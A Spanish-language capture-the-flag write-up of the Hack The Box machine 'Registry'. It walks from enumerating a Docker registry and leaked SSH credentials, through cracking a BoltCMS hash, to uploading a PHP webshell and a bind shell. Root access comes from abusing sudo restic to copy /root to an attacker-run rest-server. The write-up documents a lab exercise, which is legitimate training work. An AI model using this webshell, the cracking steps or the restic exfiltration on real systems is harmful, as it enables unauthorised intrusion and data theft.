Hack The Box: Registry Writeup | Hard

Table of Contents

Hack The Box: Registry Writeup

Welcome to my detailed writeup of the hard difficulty machine “Registry” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.220.101 --ulimit 5000 -g
210.129.220.101 -> [22,80,443]
 1$ nmap -p22,80,443 -sCV 10.129.220.101 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 20:39 CEST
 3Nmap scan report for 10.129.220.101
 4Host is up (0.035s latency).
 5
 6PORT    STATE SERVICE  VERSION
 722/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
10|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
11|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
1280/tcp  open  http     nginx 1.14.0 (Ubuntu)
13|_http-title: Welcome to nginx!
14|_http-server-header: nginx/1.14.0 (Ubuntu)
15443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
16|_http-server-header: nginx/1.14.0 (Ubuntu)
17| ssl-cert: Subject: commonName=docker.registry.htb
18| Not valid before: 2019-05-06T21:14:35
19|_Not valid after:  2029-05-03T21:14:35
20|_http-title: Welcome to nginx!
21Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22
23Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
24Nmap done: 1 IP address (1 host up) scanned in 16.11 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 10.129.220.101 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 20:40 CEST
 3Nmap scan report for 10.129.220.101
 4Host is up (0.036s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 716939/udp closed unknown
 817423/udp closed unknown
 917824/udp closed unknown
1031109/udp closed unknown
1140732/udp closed unknown
1258002/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Del escaneo inicial detectamos un dominio registry.htb y un sudominio docker.registry.htb. Me llama la atención el subdominio, vamos a introducir esta información al /etc/hosts.

HTTP/S Enumeration

Podemos echarle un vistazo al certificado TLS pero no encontramos ninguna información relevante.

1$ openssl s_client -showcerts -connect registry.htb:443

registry.htb

Vamos a empezar con el dominio principal whatweb no reporta nada interesante.

1$ whatweb https://registry.htb
2https://registry.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.129.220.101], Strict-Transport-Security[max-age=63072000; includeSubdomains], Title[Welcome to nginx!], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], nginx[1.14.0]
1$ whatweb http://registry.htb
2http://registry.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.129.220.101], Strict-Transport-Security[max-age=63072000; includeSubdomains], Title[Welcome to nginx!], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], nginx[1.14.0]

Encontramos una ruta /install/ que no se que es esto, parece como que ha intentado cargar un binario o un archivo no legible. Write-up Image

También vemos una ruta /bolt/ que nos lleva a un sitio web que usa BoltCMS. Write-up Image

Encontramos la ruta para iniciar sesión bajo /bolt/bolt/login pero para este CMS no hay credenciales por defecto ya que se pide una contraseña en la instalación. Write-up Image

Vemos que hay un exploit para conseguir ejecución remota de comandos pero debo de estar autenticado. Write-up Image

Así que vamos a tener en cuenta esta instancia de BoltCMS pero vamos a movernos lateralmente a enumerar el subdominio docker

docker.registry.htb

No detectamos nada con whatweb y además parece que los dos sitios (HTTP/HTTPS) son iguales.

1$ whatweb https://docker.registry.htb/
2https://docker.registry.htb/ [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.129.220.101], Strict-Transport-Security[max-age=63072000; includeSubdomains], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], nginx[1.14.0]
1$ whatweb http://docker.registry.htb/
2http://docker.registry.htb/ [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.129.220.101], Strict-Transport-Security[max-age=63072000; includeSubdomains], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], nginx[1.14.0]

La página principal no muestra nada. Write-up Image

Con feroxbuster al fuzzear encontramos una ruta /v2

1$ feroxbuster -u https://docker.registry.htb/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -k

Write-up Image

Nos pide autenticación. Al probar admin:admin vemos que podemos autenticarnos.

Write-up Image Write-up Image

Pero no vemos nada, vamos a seguir fuzzeando. No encontramos nada

Podemos buscar que es esto.

Registry, the open source implementation for storing and distributing container images and other content, has been donated to the CNCF. Registry now goes under the name of Distribution, and the documentation has moved to distribution/distribution.

Write-up Image

Enumerating Docker Registry -> Foothold

Parece que es un proyecto open source para distribuir y almacenar contenedores de imagenes.

Leyendo la documentación y buscando un poco me encontré en esta publicación de StackOverflow que podemos ver los repositorio bajo la ruta /v2/_catalog

Encontramos uno bastante interesante. Write-up Image

Existe una imagen. Write-up Image

Para descargarnos una imagen primero tenemos que descargarnos el manifest para conseguir todos los blobs (bloques de datos) que debemos descargar.

Como ya sabemos el nombre de la imagen que es bolt-image y que existe una “release” que es latest ya podemos conseguir el manifest.

1curl -s -k https://admin:admin@docker.registry.htb/v2/bolt-image/manifests/latest

Nos devuelve este JSON

 1{
 2   "schemaVersion": 1,
 3   "name": "bolt-image",
 4   "tag": "latest",
 5   "architecture": "amd64",
 6   "fsLayers": [
 7      {
 8         "blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
 9      },
10      {
11         "blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
12      },
13      {
14         "blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
15      },
16      {
17         "blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
18      },
19      {
20         "blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
21      },
22      {
23         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
24      },
25      {
26         "blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
27      },
28      {
29         "blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
30      },
31      {
32         "blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
33      },
34      {
35         "blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
36      }
37   ],
38   "history": [
39      {
40         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
41      },
42      {
43         "v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
44      },
45      {
46         "v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
47      },
48      {
49         "v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
50      },
51      {
52         "v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
53      },
54      {
55         "v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
56      },
57      {
58         "v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
59      },
60      {
61         "v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
62      },
63      {
64         "v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
65      },
66      {
67         "v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
68      }
69   ],
70   "signatures": [
71      {
72         "header": {
73            "jwk": {
74               "crv": "P-256",
75               "kid": "3MCK:KCII:GX53:K7XE:YQ4I:FNCS:UI7H:GBGY:G7XF:XI6T:72Y3:CMXC",
76               "kty": "EC",
77               "x": "V-IKr7gn8l7KQCFuzNT6uGrsiaeoJlPn3nr0MUVph_E",
78               "y": "JnMtBk8IEIHsNrJkBmkw-rsjzRPsCl0uuHl4klcBuUI"
79            },
80            "alg": "ES256"
81         },
82         "signature": "V1D_sDR9MESz-83R4ZWmC3nyX6qCuwFRFTs1k-VHg4dA1vZiAj0MsKy2WvtTM3U7gp0ud8PF2pNi2s-RTL48LQ",
83         "protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyNC0wOC0yOFQxNzoxMzozM1oifQ"
84      }
85   ]
86}

Vemos que tenemos 10 blobs.

Ahora desde el navegador (mas cómodamente) nos vamos a descargar los 10 blobs.

Simplemente cogemos el sha256 de uno de ellos y al abrir la ruta https://docker.registry.htb/v2/bolt-image/blobs/SHA256 se nos descargará.

Una vez nos descarguemos todos. Write-up Image

Podemos ver que estos blobs son archivos gzip.

1$ file sha256_02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c 
2sha256_02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c: gzip compressed data, original size modulo 2^32 3072

Podemos extraer todos los archivos.

1mkdir extract
1for file in $(ls | grep sha); do tar -xvf $file -C extract/; done

En /etc/profile.d/ existen algunos scripts, en este directorio se ejecutan automáticamente los scripts cuando un usuario inicie sesión de shell.

 1cat *
 2# Make sure the locale variables are set to valid values.
 3eval $(/usr/bin/locale-check C.UTF-8)
 4#!/usr/bin/expect -f
 5#eval `ssh-agent -s`
 6spawn ssh-add /root/.ssh/id_rsa
 7expect "Enter passphrase for /root/.ssh/id_rsa:"
 8send "GkOcz221Ftb3ugog\n";
 9expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
10interact
11#!/usr/bin/expect -f
12#eval `ssh-agent -s`
13spawn ssh-add /root/.ssh/id_rsa
14expect "Enter passphrase for /root/.ssh/id_rsa:"
15send "GkOcz221Ftb3ugog\n";
16expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
17interact

Y vemos algo interesante. Una credencial: GkOcz221Ftb3ugog

El problema es que no tengo un nombre de usuario válido para intentar iniciar sesión por SSH.

Esta credencial tampoco vale para el BoltCMS.

No vemos nada en el /etc/passwd

 1$ cat passwd
 2root:x:0:0:root:/root:/bin/bash
 3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 4bin:x:2:2:bin:/bin:/usr/sbin/nologin
 5sys:x:3:3:sys:/dev:/usr/sbin/nologin
 6sync:x:4:65534:sync:/bin:/bin/sync
 7games:x:5:60:games:/usr/games:/usr/sbin/nologin
 8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Me dí cuenta de que en /root/ existían archivos y una clave privada.

Al analizar el fichero .bash_history

Write-up Image

Al utilizar esta clave privada para iniciar sesión nos pide una passphrase y si introducimos la credencial anteriormente encontrada GkOcz221Ftb3ugog

 1$ ssh -i .ssh/id_rsa bolt@registry.htb
 2The authenticity of host 'registry.htb (10.129.220.101)' can't be established.
 3ED25519 key fingerprint is SHA256:LPF3XNgoNZT9BCp04FNkB9ALR69KVQYT0cV7ld6ghUk.
 4This host key is known by the following other names/addresses:
 5    ~/.ssh/known_hosts:42: [hashed name]
 6Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 7Warning: Permanently added 'registry.htb' (ED25519) to the list of known hosts.
 8Enter passphrase for key '.ssh/id_rsa': 
 9Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
10
11  System information as of Wed Aug 28 19:24:45 UTC 2024
12
13  System load:                    0.0
14  Usage of /:                     60.2% of 4.71GB
15  Memory usage:                   16%
16  Swap usage:                     0%
17  Processes:                      170
18  Users logged in:                0
19  IP address for eth0:            10.129.220.101
20  IP address for br-1bad9bd75d17: 172.18.0.1
21  IP address for docker0:         172.17.0.1
22Last login: Mon Oct 21 10:31:48 2019 from 10.10.14.2
23bolt@registry:~$

Podemos ver la flag de usuario

1bolt@registry:~$ cat user.txt 
258ada1bc41faa...

Privilege Escalation

Vemos 3 usuarios con bash

1bolt@registry:~$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3bolt:x:1001:1001::/home/bolt:/bin/bash
4git:x:1000:33::/var/www/html:/bin/bash

En /var/www/html encontramos un fichero backup.sh que no pertenece al bolt

1bolt@registry:/var/www/html$ cat backup.php 
2<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

Este archivo pertenece a root.

 1bolt@registry:/var/www/html$ ls -la
 2total 28
 3drwxrwxr-x  4 www-data www-data 4096 Apr  6  2021 .
 4drwxr-xr-x  4 root     root     4096 Apr  6  2021 ..
 5-rw-------  1 git      www-data    0 Oct  8  2019 .bash_history
 6-rw-r--r--  1 root     root       85 May 25  2019 backup.php
 7drwxrwxr-x 11 www-data www-data 4096 Apr  6  2021 bolt
 8-rwxrwxr-x  1 www-data www-data  612 May  6  2019 index.html
 9-rw-r--r--  1 root     root      612 Oct 21  2019 index.nginx-debian.html
10drwxr-xr-x  2 root     root     4096 Apr  6  2021 install
11bolt@registry:/var/www/html$ bat .bash_history 

Por probar vamos a migrar al usuario www-data ya que debería de tener permisos para ejecutar el script en PHP ya que utiliza sudo y quizás podamos hacer algo.

Para ello podemos pasarnos la base de datos que está utilizando esta instancia de BoltCMS que en este caso es SQLite.

1bolt@registry:/var/www/html/bolt/app/database$ ls
2bolt.db

Podemos coger el hash del usuario administrador.

1sqlite> select * from bolt_users;
21|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-10-17 14:34:52|10.10.14.2|Admin|["files://shell.php"]|1||||2||["root","everyone"]

Conseguimos crackearlo.

 1$ john -w=/usr/share/wordlists/rockyou.txt hash
 2Using default input encoding: UTF-8
 3Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
 4Cost 1 (iteration count) is 1024 for all loaded hashes
 5Will run 4 OpenMP threads
 6Press 'q' or Ctrl-C to abort, almost any other key for status
 7strawberry       (?)     
 81g 0:00:00:02 DONE (2024-08-28 23:34) 0.4424g/s 159.2p/s 159.2c/s 159.2C/s strawberry..brianna
 9Use the "--show" option to display all of the cracked passwords reliably
10Session completed.

Y conseguimos iniciar sesión en el BoltCMS. Write-up Image

Ahora podemos ver que tema está en uso. Write-up Image

Editar el archivo index.twig de esta plantilla. http://registry.htb/bolt/bolt/file/edit/themes/base-2018/index.twig

Ha quedado así. Write-up Image

Pero al ponernos en escucha no me llega la reverse shell y me devuelve un Gateway Time-out, por lo cual quizás existe algún tipo de firewall por detrás.

Igualmente al intentar ejecutar un comando.

1{{'whoami'|filter('system')}}

Llegué a la conclusión de que este BoltCMS no tiene un filtro llamado system por lo cual no podía ejecutar comando a nivel de sistema.

Pero después de comerme la cabeza un rato, me di cuenta de que podíamos subir archivos pero no podíamos subir recursos PHP.

Aún así, podemos editar el archivo config.yml y habilitar este tipo de archivos. Write-up Image

Nos creamos la típica webshell en PHP

1<?php
2	echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";
3?>

Y ahora si que podemos subir el archivo. Write-up Image

Y conseguimos ejecutar comandos como www-data. Write-up Image

Lo que podemos hacer para ganar una consola interactiva en la máquina víctima como www-data es utilizar una Bind Shell en vez de una Reverse Shell.

Es decir, estar en espera de conexiones por un puerto para ofrecer una bash en vez de conectarnos nosotros a un puerto (en el equipo víctima).

Write-up Image

Y ahora si nos conectamos a este puerto…

1$ nc 10.129.220.101 8080
2id
3uid=33(www-data) gid=33(www-data) groups=33(www-data)

El problema es que cada X tiempo surge un 504 Gateway Time-out y hay que repetir el proceso.

Así que para trabajar más cómodamente me di cuenta de que podíamos crear un directorio a través de la webshell y no se borraba.

Write-up Image

Write-up Image

Me descargué esta webshell de Github.

1$ wget https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php

La subí en ese directorio y ya tenemos una web shell mas que decente que no se borra :) Write-up Image

Vemos que podemos ejecutar como el usuario root y sin contraseña el binario restic con los parámetros backup -r cualquier fichero que empiece por rest Write-up Image

Después de investigar que es restic

Restic es un programa de copia de seguridad moderno y versátil diseñado para respaldar archivos de manera segura y eficiente. Aquí tienes un resumen de sus características clave:

Entonces podemos primero crearnos un repositorio para poder restaurar, en mi caso me lo crearé en /tmp/ con el nombre de restpwn

1bolt@registry:/tmp$ restic init -r restpwn
2enter password for new repository: 
3enter password again: 
4created restic repository 4e94b83ff8 at restpwn
5
6Please note that knowledge of your password is required to access
7the repository. Losing your password means that your data is
8irrecoverably lost.
9bolt@registry:/tmp$
1bolt@registry:/tmp/restpwn$ ls
2config  data  index  keys  locks  snapshots

Después de investigar un rato no conseguí nada.

Y encontré lo siguiente. https://github.com/restic/rest-server

Parece que podemos crear un servidor para poder hacer backups remotamente de datos utilizando el cliente.

Y lo mejor es que para utilizarlo, se requiere la URL rest:// es decir, que empieza por rest

Después de descargar el binario de las Release del Github, podemos ejecutar el servidor de la siguiente manera. Esto es un ejemplo, mas adelante cambiamos la ejecución del servidor.

1./rest-server --no-auth --listen 0.0.0.0:3000
2Data directory: /tmp/restic
3Authentication disabled
4Private repositories disabled
5start server on [::]:3000

Ahora vamos mediante SSH a hacer port forwarding para conseguir acceder a este servicio mediante la máquina víctima.

 1$ ssh -i .ssh/id_rsa bolt@registry.htb -R:3000:localhost:3000
 2Enter passphrase for key '.ssh/id_rsa': 
 3Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
 4
 5  System information as of Wed Aug 28 20:45:11 UTC 2024
 6
 7  System load:                    0.0
 8  Usage of /:                     60.2% of 4.71GB
 9  Memory usage:                   17%
10  Swap usage:                     0%
11  Processes:                      177
12  Users logged in:                0
13  IP address for eth0:            10.129.220.101
14  IP address for br-1bad9bd75d17: 172.18.0.1
15  IP address for docker0:         172.17.0.1
16Last login: Wed Aug 28 19:24:46 2024 from 10.10.14.125
17bolt@registry:~$

En nuestra máquina de atacante vamos a crear un repositorio en el directorio donde tenemos el binario de rest-server.

1$ restic init -r .
2enter password for new repository: 
3enter password again: 
4created restic repository 8a2c9bfab2 at .
5
6Please note that knowledge of your password is required to access
7the repository. Losing your password means that your data is
8irrecoverably lost.

Ahora para el servidor, vamos a hacer un pequeño cambio.

Vamos a consultar primero que versión de restic tiene la máquina víctima y vemos que tiene la 0.8.3

1www-data@registry:~/html/bolt/files/.persistent$ restic version
2restic version
3restic 0.8.3
4compiled with go1.10 on linux/amd64

Vamos a utilizar una versión de rest-server que sea compatible. Utilizaremos esta de aquí

Aquí hay que liarla un poco porque necesitamos una versión inferior de go para poder compilar el rest-server

1$ wget https://storage.googleapis.com/golang/go1.7.1.linux-amd64.tar.gz

Lo extraemos y setteamos la variable PATH para que valga donde hayamos extraído el tar + /bin.

1export PATH=/tmp/rest-server-0.9.3/go/bin:$PATH

Y ahora si que podemos hacer un build de rest-server

1$ go run build.go 
2warning: GOPATH set to GOROOT (/tmp/rest-server-0.9.3/go) has no effect

Antes de iniciar el servidor, también necesitamos el cliente para poder crear un repositorio que sea compatible con la versión de restic que tenga la máquina víctima.

Para esto tenemos el binario ya compilado aquí.

1$ wget https://github.com/restic/restic/releases/download/v0.8.3/restic_0.8.3_linux_amd64.bz2

Lo descomprimimos.

1$ bzip2 -d restic_0.8.3_linux_amd64.bz2

Le damos permiso de ejecución.

1$ chmod +x restic_0.8.3_linux_amd64

Y creamos un repositorio en un directorio llamado bk

 1$ mkdir bk
 2┌─[192.168.1.52]─[pointedsec@parrot]─[/tmp/rest-server-0.9.3]
 3└──╼ [★]$ ./restic_0.8.3_linux_amd64 init -r ./bk/
 4enter password for new repository: 
 5enter password again: 
 6created restic repository 011e691536 at ./bk/
 7
 8Please note that knowledge of your password is required to access
 9the repository. Losing your password means that your data is
10irrecoverably lost.

Ahora iniciamos el servidor estableciendo con el parámetro --path el repositorio recién creado

1$ ./rest-server --listen 0.0.0.0:3000 --path ./bk/
2rest-server 0.9.3 compiled with go1.7.1 on linux/amd64
3Data directory: ./bk/
4Authentication disabled
5Starting server on 0.0.0.0:3000

Y ahora por fin podemos crear una copia en el repositorio remoto del directorio /root

 1www-data@registry:~/html/bolt/files/.persistent$ sudo restic backup -r rest:http://127.0.0.1:3000/ /root
 2< restic backup -r rest:http://127.0.0.1:3000/ /root
 3enter password for repository: pointed
 4
 5password is correct
 6found 2 old cache directories in /var/www/.cache/restic, pass --cleanup-cache to remove them
 7scan [/root]
 8scanned 10 directories, 13 files in 0:00
 9[0:00] 100.00%  27.856 KiB / 27.856 KiB  23 / 23 items  0 errors  ETA 0:00 
10duration: 0:00
11snapshot 0c617191 saved

Ahora solo falta reestablecer el backup.

Nos venimos a nuestra máquina de atacante.

Y reestablecemos el backup al directorio restore

1$ ./restic_0.8.3_linux_amd64 -r ./bk/ restore latest --target restore

Podemos ver la flag de root

 1$ cd restore/
 2┌─[192.168.1.52]─[pointedsec@parrot]─[/tmp/rest-server-0.9.3/restore]
 3└──╼ [★]$ ls
 4root
 5┌─[192.168.1.52]─[pointedsec@parrot]─[/tmp/rest-server-0.9.3/restore]
 6└──╼ [★]$ cd root/
 7┌─[192.168.1.52]─[pointedsec@parrot]─[/tmp/rest-server-0.9.3/restore/root]
 8└──╼ [★]$ ls
 9config.yml  cron.sh  root.txt
10┌─[192.168.1.52]─[pointedsec@parrot]─[/tmp/rest-server-0.9.3/restore/root]
11└──╼ [★]$ cat root.txt 
12dd62564f2d232d29...

También vemos la clave privada de root

1┌─[192.168.1.52]─[pointedsec@parrot]─[/tmp/rest-server-0.9.3/restore/root/.ssh]
2└──╼ [★]$ ls
3authorized_keys  id_rsa  id_rsa.pub

Y podríamos conseguir una consola interactiva en la máquina víctima.

 1$ ssh -i id_rsa root@registry.htb
 2Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
 3
 4  System information as of Wed Aug 28 21:29:14 UTC 2024
 5
 6  System load:                    0.0
 7  Usage of /:                     60.2% of 4.71GB
 8  Memory usage:                   18%
 9  Swap usage:                     0%
10  Processes:                      190
11  Users logged in:                1
12  IP address for eth0:            10.129.220.101
13  IP address for br-1bad9bd75d17: 172.18.0.1
14  IP address for docker0:         172.17.0.1
15Last login: Wed Sep  7 15:10:00 2022
16root@registry:~# id
17uid=0(root) gid=0(root) groups=0(root)
18root@registry:~# 

¡Y ya estaría!

Happy Hacking! 🚀

